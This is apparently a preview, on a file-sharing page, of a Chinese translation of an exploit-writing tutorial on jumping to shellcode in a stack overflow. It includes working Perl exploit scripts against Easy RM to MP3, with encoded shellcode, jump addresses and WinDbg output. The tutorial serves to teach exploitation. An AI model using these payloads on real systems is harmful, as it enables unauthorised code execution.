没有合适的资源?快使用搜索试试~ 我知道了~
资源推荐
资源详情
资源评论
Exploit 编写系列教程第二篇: 栈溢出——跳至 shellcode
【作者】:Peter Van Eeckhoutte
【译者】:riusksk(泉哥:http://riusksk.blogbus.com)
跳至何处?
在上篇教程中(Exploit 编写系列教程第一篇:基于栈的溢出),笔者已讲述了关于漏洞发现,以及利用这些信息来编写可行的 exploit 的相关
基础知识。本文所举的例子仍旧是上篇中的实例,我们已经知道 ESP 几乎直接指向我们缓冲区的入口(我只是为 shellcode 预先放置了 4 字节数
据,以便使 ESP 直接指向 shellcode), 这样我们就可以使用“jmp esp”指令来获得 shellcode 的执行。
注意:本篇教程很大程度上是以本系列教程的第一部分为基础来编写的,因此请读者在阅读本文前,先花点时间将第一部分的内容阅读并理解
了。
事实上,我们利用“jmp esp”来跳至 shellcode 的方法是一个近乎完美的方法,但并不是每次都这么容易实现的。本文将就此讲述关于执行/跳
转至 shellcode 的其它方法,最后你要面临的问题就是缓冲区是否足够大。
以下为迫使 shellcode 执行的多种方法:
● jump/call 到一个指向 shellcode 的寄存器。利用这种技术,你可以利用这个包含 shellcode 地址的寄存器,将该地址置入 EIP 中来实现。你可
以利用程序运行时加载的 DLL,去搜索”jump/call register”等操作指令所在的内存地址。当构造 payload 时,我们就可以利用该内存地址去覆
盖 EIP。当然,如果有一个直接指向 shellcode 的寄存器可以利用,那也不是不可以的。但由于在第一部分中我们正是利用这种方法来尽力使
exploit 得以执行的,因此本文将不再赘述此种方法。
● pop return: 如果栈顶并没有指向攻击者指定的缓冲区,但此缓冲区又起始于栈顶下方的数字节处,那么你就可以使程序执行一系列的 POP
指令和一个 RET 指令,以此将这些字节弹出栈(每 POP 一次,ESP 指针就更接近 shellcode 入口一步),直至正确的缓冲区入口处。执行 RET
指令后,ESP 中的当前栈值将放入 EIP 中。因此当 ESP+x 包含我们的 shellcode 所在的缓冲区地址时(当在调试器中执行命令“d esp”时,
你就可以看到在 ESP+offset 中的缓冲区地址,但由于 Intel x86 是属于小端法机器,因此数据可能是反序的), POP RET 方法还是可行的。
● push return: 这种方法明显不同于“call register”技术。如果你找不到<jump register>或者<call register>的机器码,那么你可以简单将一个地
址压栈,然后执行 ret,因此你只需搜索 ret 之后的 push <register>指令即可。先查找这一串操作指令,再查找执行这串指令的地址,最后利用
该地址覆盖 EIP。
● jmp [reg + offset]: 如果寄存器指向包含 shellcode 地址的缓冲区,但其并没有指向 shellcode 入口,那么你可以通过搜索操作系统或者应用程
序加载的 DLL 中的指令,并向该指令中的寄存器添加上所需的字节偏移量,然后跳转至寄存器所指向的地址。笔者将此种方法称为 jmp [reg
+ offset]。
● blind return: 在第一部分教程中,笔者已经讲过 ESP 指向当前栈基址。RET 指令将从栈中‘pop’新值(4 字节),然后将那地址放入 ESP 中。
因此如果用 RET 指令所在地址去覆盖 EIP,那么你将会把 ESP 中的值置入 ESI。
● 如果缓冲区中的可用空间被限制了(EIP 被覆盖之后),但是在覆写 EIP 之前还有不少空间可利用,那么你可以先在小空间的缓冲区中执行 jump
code,以跳转至缓冲区首部的关键 shellcode。
● SHE:每一程序中均有默认的异常处理程序,这是由操作系统提供的。因此即使程序原本就没有使用异常处理,但你也可以用自己的地址去
覆盖 SHE handler,以使其跳转至 shellcode。利用 SHE 可以使 exploit 在 windows 平台下运行得更为稳定,但在利用 SHE 编写 exploit 之前,
你需要先掌握一些知识。如果你编写的 exploit 无法在被给的操作系统中运行,那么 payload 可能会导致程序崩溃(触发异常)。因此你可以将
“regular”exploit 配合覆盖 SHE 的方式来编写 exploit,以此编写出更为可靠的 exploit。在本系列教程的下一篇文章(第三部分)中将讲述关
于 SHE 的内容,这里读者只需记住:在一个被覆写 EIP 的典型栈溢出中,也可以利用 SHE 技术来编写 exploit,以使其运行得更为稳定,同
时获取更大可用空间的缓冲区(覆盖 EIP 以触发 SHE„„真可谓一箭双雕)。
这里还有很多其它可以使 exploit 稳定运行的方法,但如果你精通以上利用技术,再结合你的知识,你 也是可以找出一种更为可行的方法使 exploit
跳至 shellcode。如果一项技术是可行,但 shellcode 并没有运行,这时你可以利用 shellcode 编码器将其编码,再将 shellcode 后移一段,然后在
shellcode 之前写入一些 NOP„这些都将使你的 exploit 工作得更好!当然,有些漏洞只能导致程序崩溃,而无法利用,这也是完全可能存在的。
接下来让我们看看上面列出的那些技术的具体实现方法。
call [reg]
如果一个直接指向 shellcode 地址的寄存器被加载,那么你可以利用 call [reg]直接跳至 shellcode。换句话说,如果 ESP 直接指向 shellcode(因此
ESP 的首字节即是 shellcode 的首字节),如果这时你用“call esp”地址覆盖 EIP,那么 shellcode 将被执行。这种方法在所有寄存器下均可行,
并且十分流行,因为 kernel32.dll 中包含有很多 call [reg]地址。
例如:假设 ESP 指向 shellcode,首先搜索包含’call esp’操作码的地址。我们可以找到 jmp:
findjmp.exe kernel32.dll esp
Findjmp, Eeye, I2S-LaB
Findjmp2, Hat-Squad
Scanning kernel32.dll for code useable with the esp register
0x7C836A08 call esp
0x7C874413 jmp esp
Finished Scanning kernel32.dll for code useable with the esp register
Found 2 usable addresses
接下来,编写 exploit,并用地址 0x7c836a08 覆盖 EIP。这里使用本系列教程第一部分中的实例 Easy RM to MP3 来讲解,我们可以通过在被覆写
的 EIP 与 ESP 之间添加 4 字符,以此将 ESP 指向 shellcode 入口。典型的一份 exploit 代码如下:
my $file= "test1.m3u";
my $junk= "A" x 26094;
my $eip = pack('V',0x7C836A08); #overwrite EIP with call esp
my $prependesp = "XXXX"; #add 4 bytes so ESP points at beginning of shellcode bytes
my $shellcode = "\x90" x 25; #start shellcode with some NOPS
# windows/exec - 303 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_upper
# EXITFUNC=seh, CMD=calc
$shellcode = $shellcode . "\x89\xe2\xda\xc1\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49" .
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" .
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" .
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" .
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a" .
"\x48\x50\x44\x43\x30\x43\x30\x45\x50\x4c\x4b\x47\x35\x47" .
"\x4c\x4c\x4b\x43\x4c\x43\x35\x43\x48\x45\x51\x4a\x4f\x4c" .
"\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x47\x50\x43\x31\x4a" .
"\x4b\x51\x59\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a\x4e\x50" .
"\x31\x49\x50\x4c\x59\x4e\x4c\x4c\x44\x49\x50\x43\x44\x43" .
"\x37\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4a" .
"\x54\x47\x4b\x51\x44\x46\x44\x43\x34\x42\x55\x4b\x55\x4c" .
"\x4b\x51\x4f\x51\x34\x45\x51\x4a\x4b\x42\x46\x4c\x4b\x44" .
"\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a\x4b\x4c" .
"\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4d\x59\x51\x4c\x47" .
"\x54\x43\x34\x48\x43\x51\x4f\x46\x51\x4b\x46\x43\x50\x50" .
"\x56\x45\x34\x4c\x4b\x47\x36\x50\x30\x4c\x4b\x51\x50\x44" .
"\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x45\x38\x43" .
"\x38\x4b\x39\x4a\x58\x4c\x43\x49\x50\x42\x4a\x50\x50\x42" .
"\x48\x4c\x30\x4d\x5a\x43\x34\x51\x4f\x45\x38\x4a\x38\x4b" .
"\x4e\x4d\x5a\x44\x4e\x46\x37\x4b\x4f\x4d\x37\x42\x43\x45" .
"\x31\x42\x4c\x42\x43\x45\x50\x41\x41";
open($FILE,">$file");
print $FILE $junk.$eip.$prependesp.$shellcode;
close($FILE);
print "m3u File Created successfully\n";
测试结果:
pop ret
正如上面所述的一般,在 Easy RM to MP3 一例中,我们已经能够调整缓冲区,使 ESP 直接指向我们的 shellcode。但要是 shellcode 入口发生偏
移呢?比如 shellcode 入口位于 ESP+8,这又当如何利用呢?理论上,当 ESP+offset 已经包含 shellcode 地址,那么只有 pop ret 这种方法是可行
的„„如果不是如此(事情往往并非如此),那么也许还有其它方法。
下面进行一项测试。我们已知覆盖 EIP 需要 26094 byte,另外在 ESP 指向的栈址(本例中为 0x000ff730)前还需要 4byte。为了模拟出 shellcode
起始于 ESP+8 的假象,我们需要构造出一块栈情况如下的缓冲区:
26094 A,4 XXXX(以 ESP 指针指向的地址结尾),INT3 中断,7 NOP,INT3 中断,一些 NOP。
我们预先将 shellcode 入口置于第二个中断之后,目的是为了跳过第一个中断,使其正确地到达第二个中断([ESP+8]=0x000ff738)。
my $file= "test1.m3u";
my $junk= "A" x 26094;
my $eip = "BBBB"; #overwrite EIP
my $prependesp = "XXXX"; #add 4 bytes so ESP points at beginning of shellcode bytes
my $shellcode = "\xcc"; #first break
$shellcode = $shellcode . "\x90" x 7; #add 7 more bytes
$shellcode = $shellcode . "\xcc"; #second break
$shellcode = $shellcode . "\x90" x 500; #real shellcode
open($FILE,">$file");
print $FILE $junk.$eip.$prependesp.$shellcode;
close($FILE);
print "m3u File Created successfully\n";
让我们看下栈情况:
由于缓冲区溢出,程序崩溃。我们用“BBBB”覆盖 EIP,ESP 指向 0x000ff730(起始于第一中断),然后 7 个 NOP,接着就是第二中断,即 shellcode
入口(0x000ff738)。
eax=00000001 ebx=00104a58 ecx=7c91005d edx=00000040 esi=77c5fce0 edi=000067fa
eip=42424242 esp=000ff730 ebp=00344200 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
<Unloaded_P32.dll>+0x42424231:
42424242 ?? ???
0:000> d esp
000ff730 cc 90 90 90 90 90 90 90-cc 90 90 90 90 90 90 90 ................
000ff740 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff750 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff760 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff770 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff780 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff790 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff7a0 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0:000> d 000ff738
000ff738 cc 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff748 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff758 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff768 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff778 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff788 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff798 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff7a8 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
为了将 ESP+8 的值赋予 EIP,(如此构造使其跳至 shellcode),我们将使用 pop ret 技术+jmp esp 地址来完成此项任务。
一个 POP 指令将弹出栈顶 4 字节,因此栈指针将指向 000ff734。再运行一个 pop 指令,将会从栈顶中再弹出 4 字节,此时 ESP 就指向了 000ff738。
当 ret 指令被执行后,ESP 的当前值将赋予 EIP。因此如果在 000ff738 包含有 jmp esp 指令的地址,那么 EIP 又将执行何种行为呢。此时 000ff738
之后的缓冲区就必须包含 shellcode。
我们需要查找出 pop,pop,ret 的指令串地址,然后用这指令串的首地址来覆盖 EIP,接着让 ESP+8 指向 jmp esp 指令地址,最后紧跟着的就是
shellcode 自身了。首先需要搜索 pop pop ret 机器码,这个我们可以借助 windbg 的汇编功能来搜索:
0:000> a
7c90120e pop eax
pop eax
7c90120f pop ebp
pop ebp
7c901210 ret
ret
7c901211
0:000> u 7c90120e
ntdll!DbgBreakPoint:
7c90120e 58 pop eax
7c90120f 5d pop ebp
7c901210 c3 ret
7c901211 ffcc dec esp
7c901213 c3 ret
7c901214 8bff mov edi,edi
7c901216 8b442404 mov eax,dword ptr [esp+4]
7c90121a cc int 3
因此 pop pop ret 指令的机器码为 0x58,0x5d,0xc3。当然你也可 pop 其它寄存器,这里有其它可用的 pop 机器码:
Pop register
Opcode
pop eax
58
pop ebx
5b
pop ecx
59
pop edx
5a
pop esi
5e
pop ebp
5d
现在我们需要在一个可用的 DLL 中搜索这一指令串。在第一部分教程中,我们已经讲过关于应用程序以及操作系统的 DLL 知识。这里笔者建
议使用应用程序 DLL,因为这将提高 exploit 在跨 windows 平台/版本下运行的可靠性„„但你需要先确定所使用的 DLL 基址每次是否都相同。
有时,dll 的基址会被重定向,在这种情况下,使用 OS dll(例如 user32.dll 或 kernel32.dll)也许会更好。
打开 Easy RM to MP3,(不要打开一个文件或其它东西),然后用 windbg 附加进程。windbg 将显示加载模块,包括操作系统模块和应用程序模
块(在 windbg 输出栏的上方可以看到以 ModLoad 开头的信息行)。下面是应用程序加载的一些 DLL:
ModLoad: 00ce0000 00d7f000 C:\Program Files\Easy RM to MP3 Converter\MSRMfilter01.dll
ModLoad: 01a90000 01b01000 C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec00.dll
ModLoad: 00c80000 00c87000 C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec01.dll
ModLoad: 01b10000 01fdd000 C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec02.dll
运行 dumpbin.exe(来源于 Visual Studio)并添加相关参数/选项,即可查看 dll 的 image base。这允许你定义更低和更高的地址以进行搜索。
你应当尽量避免使用包含 null byte 的地址(因为这将使 exploit 更难成功,但一切皆有可能,只是更困难而已!)下面是搜索 MSRMCcodec00.dll
获得的结果:
0:014> s 01a90000 l 01b01000 58 5d c3
01ab6a10 58 5d c3 33 c0 5d c3 55-8b ec 51 51 dd 45 08 dc X].3.].U..QQ.E..
01ab8da3 58 5d c3 8d 4d 08 83 65-08 00 51 6a 00 ff 35 6c X]..M..e..Qj..5l
01ab9d69 58 5d c3 6a 02 eb f9 6a-04 eb f5 b8 00 02 00 00 X].j...j........
好的,现在跳到 ESP+8。在此处我们需要写入 jmp esp 指令所在地址(前面已经解释过了,ret 指令将从此处获得地址,并将其赋予 EIP)。此时,
ESP 地址将指向我们的 shellcode,也就是 jmp esp 地址之后的位置,因此我们真正需要的是一个 jmp esp 指令)。从第一部分教程中,我们已经
知道 0x01ccf23a 正好指向 jmp esp。现在我们使用 perl 脚本来将”BBBB”(用于覆盖 EIP)替换为 pop,pop,ret 地址,后面再跟随 8 字节 NOP(模拟
shellcdoe 从栈顶中弹出 8 字节),然后就是 jmp esp 地址,最后是 shellcdoe。缓冲区情况如下:
[AAAAAAAAAAA...AA][0x01ab6a10][NOPNOPNOPNOPNOPNOPNOPNOP][0x01ccf23a][Shellcode]
26094 A's EIP 8 bytes offset JMP ESP
(=POPPOPRET)
整份 exploit 看起来情况如下:
1:EIP 被 POP POP RET 覆盖,ESP 指向 shellcode 偏移 8 字节的地址;
2:POP POP RET 被执行,EIP 被 0x01ccf23a 覆盖,ESP 指向 shellcode;
剩余28页未读,继续阅读
资源评论
小旱鸭
- 粉丝: 0
- 资源: 6
上传资源 快速赚钱
- 我的内容管理 展开
- 我的资源 快来上传第一个资源
- 我的收益 登录查看自己的收益
- 我的积分 登录查看自己的积分
- 我的C币 登录后查看C币余额
- 我的收藏
- 我的下载
- 下载帮助
安全验证
文档复制为VIP权益,开通VIP直接复制
信息提交成功